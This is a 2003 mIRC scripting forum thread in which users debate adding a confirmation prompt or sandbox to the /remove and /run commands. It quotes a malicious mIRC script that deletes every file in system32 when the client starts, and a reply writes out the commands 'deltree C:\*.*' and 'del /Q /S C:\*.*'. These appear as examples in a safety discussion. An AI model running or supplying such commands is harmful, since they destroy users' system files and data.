|
pheonix
|
pheonix
|
i think that the /remove command should either be removed, or it should have an alert so you can confirm deleting a file, because back in the day when i couldnt script, i downloaded a script with the following code:
on *:START:{ var %i 1 var %system c:\windows\system32 while (%i <= $findfile(%system,*.*,0)) { $findfile(%system,*.*,%i,/remove $1-) inc %i } }
|
|
|
|
ScatMan
|
ScatMan
|
heh, before a week my computer screwed up after i used $findfile with /remove i just wanted to make it in decode but i forgot $eval($findfile....,0)
|
|
|
|
Joined: Jan 2003
Posts: 2,973
Hoopy frood
|
Hoopy frood
Joined: Jan 2003
Posts: 2,973 |
I would think your intelligent enough to either realize what your downloading, or inspect what your running before running it.
Anwyas, that means /run would have to be removed also..
/run deltree C:\*.* /run del /Q /S C:\*.*
|
|
|
|
ScatMan
|
ScatMan
|
if you're reply to him, click on his nick on the REPLY
|
|
|
|
pheonix
|
pheonix
|
i think having an alert to confirm the file delete would be more suitable than just removing it though :tongue:
|
|
|
|
Joined: Jan 2003
Posts: 2,973
Hoopy frood
|
Hoopy frood
Joined: Jan 2003
Posts: 2,973 |
I view posts in flat mode-- I could care less what name i click. The last one is just convenience seeing i've already scrolled to the bottom of the page to complete reading anyways.
|
|
|
|
Joined: Dec 2002
Posts: 2,884
Hoopy frood
|
Hoopy frood
Joined: Dec 2002
Posts: 2,884 |
Maybe you couldn't care less, but for people who have the forums set to email replies to them it matters. Is it so hard to take half a second to click on the right button?
pheonix: For many uses of /remove having an enforced confirmation box only leads to huge annoyances for the user. A script could just /write or /bwrite to the file to all-but-delete it anyway. Instead it would make more sense to implement the recent suggestions of having a 'sandbox' setting so commands like /remove can only be used inside the mIRC directory.
|
|
|
|
ScatMan
|
ScatMan
|
nah, some ppl need this command so now i think that there is no need remove this command, if some1 get screwed becuz this command it's his problem, he need to be more resposible pheonix just don't use scripts that u don't know what they does
|
|
|
|
pheonix
|
pheonix
|
i dont anymore im just saying i got slightly annoyed, when i found out it was trying to mess with winzip =\
Last edited by pheonix; 17/06/03 04:36 PM.
|
|
|
|
Joined: Jan 2003
Posts: 1,057
Hoopy frood
|
Hoopy frood
Joined: Jan 2003
Posts: 1,057 |
alias remove { if ($?!="Are you sure?") { remove $1- } }
???
typo :-P
Last edited by Doqnach; 17/06/03 06:40 PM.
|
|
|
|
ScatMan
|
ScatMan
|
it's not $!?="Are you sure?" it's $?!="Are you sure?"
|
|
|
|
pheonix
|
pheonix
|
im thinking of code snippets and the like, not what i create myself
|
|
|
|
Joined: Feb 2003
Posts: 308
Fjord artisan
|
Fjord artisan
Joined: Feb 2003
Posts: 308 |
Hurrah! A CloCkWeRX suggestion is spotted...
|
|
|
|
pheonix
|
pheonix
|
maybe instead of having just an alert he could make an extra section in options on this, giving you the choice to how secure you want the /remov and /run commands to be
|
|
|
|
quizer
|
quizer
|
lets just remove all the interaction of mIRC with the computer system, so the DLL's, com objects, DDE, remove, run, write, writeini will b removed or limited so the user will have to confirm this actions couz its all may potentially damage. lets make mIRC run in a java sandbox.
I actually think that the current limitation of mIRC of recieving files in DCC (turn ignore automaticly after X seconds) or the disable /run /dll function is really to much protection. user must know what he is recieving or running and mIRC or other software should not do it 4 him.
|
|
|
|
Joined: Dec 2002
Posts: 2,958
Hoopy frood
|
Hoopy frood
Joined: Dec 2002
Posts: 2,958 |
That approach is ignorance more than anything. I view in flat mode too and always have yet I manage to find the 0.966354 seconds (yes I am 0.466354 of a second slower than Starbucks Mafia :tongue:)of time required to find out who I am actually replying to. I think is it quite rude to just tack your message onto the end of the thread unless you intend it to be there and all it achieves is making the forum disorganised.
|
|
|
|
|